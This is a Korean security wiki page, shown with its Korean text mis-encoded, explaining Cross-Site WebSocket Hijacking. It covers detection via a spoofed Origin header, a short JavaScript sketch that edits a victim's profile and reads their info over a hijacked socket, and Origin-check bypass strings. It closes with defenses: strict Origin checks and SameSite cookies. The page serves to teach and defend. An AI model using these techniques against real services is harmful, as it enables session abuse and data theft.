Back

CSWSH (Cross-Site WebSocket Hijacking)

๐Ÿ” Introduction

CSWSH๋Š” Cross-Site WebSocket Hijacking์˜ ์•ฝ์ž๋กœ WebSocket์—์„œ Cross domain๊ฐ„ ์‚ฌ์šฉ ์ •์ฑ…์ธ Origin ํ—ค๋”์— ๋Œ€ํ•œ ๊ฒ€์ฆ ๋ฏธํก์œผ๋กœ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” CSRF, JSON Hijacking๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ๊ฐ€์ง€๊ณ  WebSocket Connection์„ ๋งบ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์˜๋„ํ•˜์ง€ ์•Š์€ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

How?

WebSocket์€ ์ผ๋ฐ˜ HTTP ํ”„๋กœํ† ์ฝœ ์ƒ์—์„œ Upgrade: WebSocket์„ ํ†ตํ•ด ์„œ๋ฒ„๋กœ ์›น ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜๊ฒ ๋‹ค๋Š” ๋‚ด์šฉ์„ ์ „์†กํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ 101 Switching Protocol์„ Response๋กœ ์ „๋‹ฌํ•ด์ฃผ๋ฉฐ Client๊ฐ€ ์„œ๋ฒ„๋กœ WebSocket connection์„ ๋งบ๋Š” ํ˜•ํƒœ๋กœ ์ฒ˜๋ฆฌ๊ฐ€ ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด ๋•Œ ์„œ๋ฒ„๋Š” Origin ํ—ค๋”๋ฅผ ํ†ตํ•ด ์ด ์š”์ฒญ์ด ์–ด๋””์„œ ์˜จ ์š”์ฒญ์ธ์ง€ ์‹๋ณ„ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋งŒ์•ฝ ์„œ๋ฒ„๊ฐ€ Origin์„ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  Switching Protocol์„ ์ฃผ๊ณ  ์žˆ๋‹ค๋ฉด, ์–ด๋–ค ๋„๋ฉ”์ธ์—์„œ๋„ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ํ†ตํ•ด WebSocket์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

ํ…Œ์ŠคํŒ… ๋ฐฉ๋ฒ•์€ JSON Hihacking๊ณผ ๊ฑฐ์˜ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. Upgrade ์›น ์š”์ฒญ์—์„œ Origin ํ—ค๋”๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์„œ๋น„์Šค๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ WebSocket connection์„ ๋งบ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

GET /connect HTTP/1.1
Upgrade:WebSocket
Origin: attacker.hahwul.com
Connection: keep-alive, Upgrade
Upgrade:WebSocket

Exploitation

์ž„์˜ WebSocket connection์— ์„ฑ๊ณตํ–ˆ๋‹ค๋ฉด ์ด์ œ ์˜ํ–ฅ๋ ฅ์„ ๊ฒ€์ฆํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. WebSocket connected ์ƒํƒœ์—์„œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ํŒŒ์•…ํ•œ ํ›„ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์œผ๋กœ ์ˆ˜ํ–‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜, ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋“ฑ์˜ ์•ก์…˜์œผ๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

function editProfile(cswshSocket) {
  var msg = {
    type: "editProfile",
    name: "attacked",
    profile_image: "https://~~~",
  };
  cswshSocket.send(JSON.stringify(msg));
}

function getUserInfo(cswshSocket) {
  var msg = {
    type: "userInfo"
  };
  cswshSocket.send(JSON.stringify(msg));
}

cswshSocket.onopen = function (event) {
  // ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜
  editProfile(cswshSocket)

  // ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜
  getUserInfo()
};

cswshSocket.onmessage = function(event) {
  console.log(JSON.parse(event.data))
}

Bypass protection

๋ฌผ๋ก  ์„œ๋น„์Šค์—์„œ Origin ํ—ค๋”๋ฅผ ๊ฒ€์ฆํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ผ๋ฐ˜์ ์ธ JSON Hijacking๊ณผ ๋™์ผํ•˜๊ฒŒ ์‹ ๋ขฐ๋ฐ›๋Š” ๋„๋ฉ”์ธ, ๋ฌธ์ž์—ด ๋“ฑ์„ ์ด์šฉํ•ด์„œ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

e.g

Origin: attacker.hahwul.com
Origin: trust_domain.hahwul.com
Origin: *

๐Ÿ›ก Defensive techniques

Origin Verification

Switching Protocol ์‹œ Origin ํ—ค๋”์— ๋Œ€ํ•ด ์ •ํ™•ํ•˜๊ฒŒ ๊ฒ€์ฆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ connection ์‹œ origin ํ—ค๋”๋ฅผ ์ž„์˜๋กœ ์ˆ˜์ •ํ•  ์ˆœ ์—†์ง€๋งŒ, ์ž„์˜ ์„œ๋น„์Šค์—์„œ์˜ ์š”์ฒญ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ํŠน์ • ํŒจํ„ด์˜ Origin์—์„œ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— ์„œ๋น„์Šค์—์„œ ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ๋งŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ์ •ํ™•ํ•˜๊ฒŒ ๊ฒ€์ฆํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

Origin: trust.hahwul.com (O)
Origin: abcd.com (X)
Origin: trust.hahwul.com.google.com (X)

CSRF์™€ ๋™์ผํ•˜๊ฒŒ ์ฟ ํ‚ค ๊ธฐ๋ฐ˜์˜ ์ธ์ฆ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์ฟ ํ‚ค ์„ค์ •์„ ํ†ตํ•ด ๋ฐฉ์–ดํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. Set-Cookie ์‹œ SameSite=Lax ๋˜๋Š” SameSite=strict ๋“ฑ์œผ๋กœ ๋ช…์‹œํ•˜๊ฒŒ ๋˜๋ฉด ํ•ด๋‹น ๋„๋ฉ”์ธ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์š”์ฒญ๋งŒ ์ฟ ํ‚ค๋กœ ๋ถ™๊ธฐ ๋–„๋ฌธ์— Cross-origin ๊ฐ„ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ์ด์šฉํ•˜๋Š” ๊ณต๊ฒฉ์€ ๋Œ€๋ถ€๋ถ„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

e.g

HTTP/1.1 200 OK
Set-Cookie: auth=abcd1234; SameSite=Lax

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.hahwul.com/2020/01/18/samesite-lax/ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๐Ÿ•น Tools

none

๐Ÿ“š Articles

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Oct 24, 2021 18:26 +0900